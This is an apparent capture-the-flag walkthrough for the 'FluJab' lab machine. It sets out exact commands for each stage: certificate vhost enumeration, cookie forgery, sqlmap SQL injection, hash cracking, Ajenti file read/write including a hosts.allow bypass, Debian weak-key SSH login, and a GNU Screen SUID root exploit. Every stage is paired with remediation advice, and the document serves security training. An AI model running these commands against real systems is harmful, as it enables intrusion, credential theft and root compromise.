← all walkthroughs

FluJab

Linux· Hard· Web
owned
2026-07-10
time to own
36m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I inspected the TLS certificate on the target's HTTPS proxy and discovered a Subject Alternative Names list that mapped every internal virtual hostname — including administrative consoles never intended to be public. A client-side cookie on the flu-vaccination portal was set to the base64 encoding of '[REDACTED: recovered credential]' to unlock a hidden SMTP configuration panel, which redirected outbound mail to my own listener. A forged patient-session cookie bypassed the normal booking workflow, exposing an appointment-reminder form whose 'nhsnum' parameter was passed unsanitised into MySQL; a UNION-based injection dumped the admin table, yielding the 'sysadm' account and a SHA256 password hash that was cracked offline in seconds against a common wordlist.

Those credentials authenticated to an Ajenti administration panel on port 8080 whose file-viewer accepted arbitrary filesystem paths, leaking drno's SSH private key and the authorized_keys file. A network restriction enforced by TCP wrappers was neutralised by writing $ATTACKER_IP into /etc/hosts.allow through the same Ajenti file-write API. Drno's 4096-bit RSA key turned out to have been generated by a Debian system running the broken OpenSSL random-number generator (CVE-2008-0166), reducing the entire keyspace to roughly 32 000 predictable keys; a precomputed corpus match recovered the private key without cracking a passphrase.

SSH login as drno followed. A SUID-root installation of GNU Screen 4.5.0 — vulnerable to CVE-2017-5618 — was exploited from the drno session to achieve a root shell and read the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconTLS certificate SAN enumeration for virtual-host discovery
Extracted hidden virtual hostnames from the server's TLS certificate
Direct HTTPS requests to the server IP returned only a generic proxy banner. Pulling the TLS certificates on ports 443 and 8080 revealed a Subject Alternative Names field listing every virtual host served behind the proxy, including administrative sites never advertised publicly: freeflujab.htb, vaccine4flu.htb, smtp.flujab.htb, sys.flujab.htb, console.flujab.htb, and sysadmin-console-01.flujab.htb. Adding these to the local hosts file gave full name-based routing access to every hidden application.
SSL SANs on port 443 yielded freeflujab.htb, sysadmin-console-01.flujab.htb, and additional vhosts used at every subsequent stage of the attack chain.
Exact commands 2
Pull SANs from the port-443 cert; repeat substituting 8080 for the admin panel cert.
echo | openssl s_client -connect $TARGET:443 -servername flujab.htb 2>/dev/null | openssl x509 -noout -ext subjectAltName
Map all discovered vhosts to the target IP for name-based routing.
echo "$TARGET flujab.htb freeflujab.htb vaccine4flu.htb smtp.flujab.htb sys.flujab.htb console.flujab.htb sysadmin-console-01.flujab.htb" | sudo tee -a /etc/hosts
FixRemove internal and administrative hostnames from the public-facing TLS certificateMedium
WeaknessThe TLS certificates on ports 443 and 8080 listed every internal and administrative virtual hostname — including sysadmin-console-01.flujab.htb — in the Subject Alternative Names field, giving any visitor a complete enumeration of the server's hidden applications without needing to guess or brute-force.
FixIssue separate certificates for public-facing and internal-only services. The externally presented certificate should contain only the hostnames that external users legitimately need to reach. Administrative panels such as sysadmin-console-01.flujab.htb should be served on isolated network segments with no Internet exposure, covered by an internally-issued certificate whose root CA is not trusted by public browsers. If a wildcard or multi-SAN certificate is unavoidable, ensure every listed hostname is intentionally public.
2ExploitationClient-side security control bypass via cookie manipulation (CWE-602)
Bypassed access control with a forged cookie to unlock a hidden SMTP admin panel
The flu-vaccination portal at freeflujab.htb used a client-side cookie named 'Modus' as its sole access-control gate. Setting that cookie to the base64 encoding of '[REDACTED: recovered credential]' instructed the server to render the hidden SMTP configuration endpoint at /?smtp_config. I used this panel to redirect the application's outbound mail relay to my own listener on port 25, positioning for later notification-based actions in the attack chain.
Exact commands 2
Confirm the hidden panel is accessible with the forged cookie.
curl -sk -b 'Modus=$PASSWORD3' 'https://freeflujab.htb/?smtp_config'
Redirect outbound mail to my listener; replace $ATTACKER_IP with your machine's IP.
curl -sk -b 'Modus=$PASSWORD3' -X POST 'https://freeflujab.htb/?smtp_config' --data "mailserver=$ATTACKER_IP&port=25&save=Save+Mail+Server+Config"
FixReplace client-side cookie-based feature gating with server-side authenticationCritical
WeaknessAccess to the SMTP configuration panel was controlled entirely by a cookie that any visitor could set to an arbitrary value. Anyone who sent Modus=[REDACTED: recovered credential] instantly gained administrative control over the application's mail relay without any password or session check.
FixRemove the Modus cookie mechanism entirely. All privileged functionality must be protected by server-side session logic tied to a verified, authenticated identity. The server must issue a signed, server-managed session token only after successful credential validation, and must verify that token's privilege level on every privileged request — never trusting a value the client can construct or modify. Replace the unlockable config panel with a dedicated, login-protected admin interface.
3ExploitationUNION-based SQL injection (CWE-89)
Forged a patient session cookie and injected SQL to steal admin credentials
Registering a patient account on freeflujab.htb issued a 'Patient' session cookie. Manually base64-encoding '<patient_id>=True' and setting it as the 'Registered' cookie bypassed the normal booking workflow, unlocking the appointment-reminder form at /?remind. The 'nhsnum' POST parameter was concatenated directly into a MySQL query without sanitisation. A UNION-based injection (ORDER BY confirmed 5 columns) extracted the 'vaccinations' database's 'admin' table, recovering the username 'sysadm' and its SHA256 password hash.
ORDER BY 5 valid / ORDER BY 6 error confirmed a 5-column result set; UNION SELECT pulled sysadm's record from vaccinations.admin, later cracked and used to authenticate to Ajenti.
Exact commands 3
Register to obtain the Patient cookie; note the assigned patient ID from the response.
curl -sk -X POST 'https://freeflujab.htb/?register' --data 'action=register' -c patient_cookies.txt -v 2>&1 | grep -i 'set-cookie'
Forge the Registered cookie; replace <patient_id> with the numeric ID from registration.
python3 -c "import base64, sys; print(base64.b64encode(('<patient_id>=True').encode()).decode())"
Automate UNION injection to dump the admin table; substitute real cookie values captured above.
sqlmap -u 'https://freeflujab.htb/?remind' --data 'nhsnum=1' --cookie 'Patient=<patient_cookie>; Registered=<forged_registered>; Modus=$PASSWORD3' --dbms mysql -D vaccinations -T admin --dump --batch --level 2
FixParameterize all SQL queries to prevent injection through the appointment-reminder formCritical
WeaknessThe 'nhsnum' POST parameter on the /?remind endpoint was concatenated directly into a MySQL statement. Anyone who could reach that form could issue UNION SELECT queries to read any database table the application account had access to, including the admin credentials table.
FixReplace every dynamically constructed SQL string in the application with parameterized queries or prepared statements; the database driver then handles quoting and encoding, making injection structurally impossible. Validate that nhsnum matches an expected numeric format before it reaches the database layer at all. Apply least-privilege to the database account: it should have SELECT access only to the tables it needs and no access to admin or credential tables. Add a Web Application Firewall rule to detect UNION and ORDER-BY injection patterns as a defence-in-depth layer.
4Credential AccessOffline password hash cracking — T1110.002 (Brute Force: Password Cracking)
Cracked the dumped SHA256 hash offline to recover the admin password
The sysadm password was stored as an unsalted SHA256 digest — a fast general-purpose algorithm that modern GPUs can test at billions of guesses per second. Running the recovered hash through John the Ripper against the rockyou wordlist produced the plaintext password in seconds, giving me valid credentials for the next stage.
Exact commands 2
Crack the dumped hash; replace <[REDACTED: sensitive value]> with the value returned by sqlmap.
echo '<sha256_hash_from_sqlmap>' > hash.txt && john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Display the recovered plaintext password once cracking completes.
john --show --format=Raw-SHA256 hash.txt
FixRe-hash stored passwords using a slow, salted algorithmHigh
WeaknessThe sysadm password was stored as an unsalted SHA256 digest. SHA256 is a general-purpose hash designed to be fast; modern consumer GPUs can test billions of SHA256 guesses per second, making any password that appears in a common wordlist recoverable in seconds once the hash is obtained.
FixMigrate all stored password hashes to bcrypt, scrypt, or Argon2id with a work factor tuned to current hardware (bcrypt cost ≥ 12; Argon2id with recommended OWASP parameters). Ensure each hash includes a unique per-user salt. Enforce a minimum password length of 16 characters and reject passwords found in breach corpuses (e.g., via HIBP API). Rotate the sysadm credential immediately.
5Post-ExploitationServer-side Local File Inclusion via admin file-viewer API (T1083) combined with unauthorized file write to bypass network access control
Read drno's SSH key and bypassed a firewall rule through an admin panel with unrestricted file access
The cracked credentials authenticated to an Ajenti administration panel at sysadmin-console-01.flujab.htb:8080. Ajenti's built-in file-viewer API accepted arbitrary absolute filesystem paths and returned file contents without any path restriction — a server-side local file inclusion flaw. My read /etc/passwd, listed /home/drno/.ssh/, and downloaded both the authorized_keys file and drno's encrypted SSH private key. A TCP wrappers rule in /etc/hosts.allow restricted sshd to specific source IPs; the same Ajenti file-write API was used to append $ATTACKER_IP to that file, clearing the restriction before the SSH login attempt.
Exact commands 4
Authenticate to Ajenti and save the session cookie to ajenti.txt.
curl -sk -X POST 'https://sysadmin-console-01.flujab.htb:8080/api/core/auth' -H 'Content-Type: application/json' -d '{"username":"sysadm","password":"$PASSWORD","mode":"normal"}' -c ajenti.txt
Read drno's authorized_keys via the unrestricted path to obtain the RSA public key blob.
curl -sk -b ajenti.txt 'https://sysadmin-console-01.flujab.htb:8080/api/filesystem/read//home/drno/.ssh/authorized_keys?encoding=utf-8'
Download drno's encrypted SSH private key for offline analysis.
curl -sk -b ajenti.txt 'https://sysadmin-console-01.flujab.htb:8080/api/filesystem/read//home/drno/.ssh/user_key?encoding=utf-8' -o drno_user_key
Append $ATTACKER_IP to /etc/hosts.allow to remove the TCP wrappers SSH restriction; replace $ATTACKER_IP.
curl -sk -b ajenti.txt -X POST 'https://sysadmin-console-01.flujab.htb:8080/api/filesystem/write//etc/hosts.allow' --data-urlencode "content=sshd: $ATTACKER_IP"
FixRestrict the Ajenti file-manager API to safe paths and remove write access to system filesCritical
WeaknessThe Ajenti administration panel exposed filesystem read and write APIs that accepted arbitrary absolute paths with no restriction. Any authenticated user could read every file on the server — including SSH private keys — and overwrite critical system files such as /etc/hosts.allow, which was used to disable a network-level access control.
FixDisable the Ajenti filesystem and notepad plugins entirely if they are not operationally required. If file browsing is needed, enforce a server-side allowlist restricting the accessible path prefix to a safe directory (e.g., /var/www); never accept caller-supplied absolute paths. Remove write access to /etc and all other system directories from the process account running Ajenti. Place the Ajenti panel on a dedicated management VLAN accessible only from specific administrator IP addresses, not from the Internet, and enforce multi-factor authentication on the login.
6Lateral MovementDebian OpenSSL predictable PRNG weak-key exploitation — CVE-2008-0166
Matched drno's public key against a Debian weak-key corpus and logged in as drno
The authorized_keys file showed drno held a 4096-bit RSA key. A Debian OpenSSL coding error introduced in 2006 and present until May 2008 (CVE-2008-0166) broke the random-number generator, reducing the entire RSA-4096 keyspace to roughly 32 000 predictable keys tied to process IDs. A precomputed corpus of all such keys is publicly available. Grepping the corpus for drno's public-key blob returned an immediate match — private key [REDACTED: sensitive value] — with no passphrase required. With the TCP wrappers restriction already cleared, SSH login as drno succeeded and the user flag was read.
Exact commands 3
Find the matching corpus .pub file by comparing the base64 public-key blob.
grep -rl -F "$(awk '{print $2}' /tmp/flujab_drno_authorized_keys)" /tmp/debian-ssh-4096/rsa/4096/*.pub
Set correct permissions on the matched private key before use.
chmod 600 /tmp/debian-ssh-4096/rsa/4096/[REDACTED: sensitive value]
Log in as drno using the recovered weak private key; output contains <user.txt>.
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: sensitive value] -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null drno@$TARGET 'id; cat /home/drno/user.txt'
FixRevoke and replace all SSH keys generated by vulnerable Debian OpenSSL (CVE-2008-0166)Critical
Weaknessdrno's RSA-4096 SSH key was generated by a Debian OpenSSL build that contained a broken random-number generator present from 2006 until May 2008. The flaw reduced the seed to only 15 bits (the process ID), collapsing the RSA-4096 keyspace to roughly 32 000 predictable values. A precomputed corpus of all such keys is publicly available; matching a public key to its private counterpart takes seconds and bypasses any passphrase entirely.
FixImmediately identify every SSH keypair in use across the environment and check each against the Debian weak-key corpus (g0tmi1k/debian-ssh or the Metasploit ssh_enumusers scanner). Revoke any matching key from all authorized_keys files. Generate replacement keys on a fully patched system running a current OpenSSL version. Enforce a minimum RSA key size of 3072 bits or prefer Ed25519 for new keys, which are immune to this class of PRNG attack. Review whether any other cryptographic material (TLS private keys, GPG keys) was generated on the same affected systems.
7Privilege EscalationSUID binary local privilege escalation — CVE-2017-5618 (GNU Screen 4.5.0)
Exploited a SUID-root GNU Screen 4.5.0 binary to achieve a root shell
The /usr/bin/screen binary was version 4.05.00 with the SUID-root bit set. CVE-2017-5618 abuses screen's log-file handling: because the binary runs as root, it can be coerced into writing my own content to /etc/ld.so.preload, causing the dynamic linker to load a malicious shared library as root on the next screen invocation. A publicly available exploit script (Exploit-DB 41154) automating this technique was transferred to the target and run from the drno SSH session, producing a root shell in under a minute and allowing the root flag to be read.
Exact commands 4
Verify the SUID bit and confirm version 4.05.00 before running the exploit.
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: sensitive value] -o StrictHostKeyChecking=no drno@$TARGET 'ls -la /usr/bin/screen; screen -v'
Locate the exploit-db local-root script for CVE-2017-5618.
searchsploit -p 41154
Transfer the exploit to the target.
scp -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: sensitive value] -o StrictHostKeyChecking=no /usr/share/exploitdb/exploits/linux/local/41154.sh drno@$TARGET:/tmp/41154.sh
Execute the exploit to obtain a root shell; output contains <root.txt>.
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: sensitive value] -o StrictHostKeyChecking=no drno@$TARGET 'chmod +x /tmp/41154.sh && bash /tmp/41154.sh && cat /root/root.txt'
FixRemove the SUID bit from GNU Screen and upgrade to a patched versionCritical
Weakness/usr/bin/screen was version 4.05.00 with the SUID-root bit set. CVE-2017-5618 allows a local user to abuse screen's log-file handling — which executes with root privileges due to SUID — to write arbitrary content to /etc/ld.so.preload, causing the linker to load a malicious shared library as root and granting full system control to any local account.
FixRemove the SUID bit immediately: 'sudo chmod -s /usr/bin/screen'. Upgrade to GNU Screen 4.5.1 or later, which replaces SUID root with a dedicated lower-privilege helper binary. Audit all SUID and SGID binaries on the system ('find / -perm /4000 -o -perm /2000 2>/dev/null') and strip the bit from every binary that does not have a documented, verified operational need for it. Subscribe to vendor security advisories for all installed system utilities to catch future SUID privilege escalation CVEs promptly.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp
8080/tcp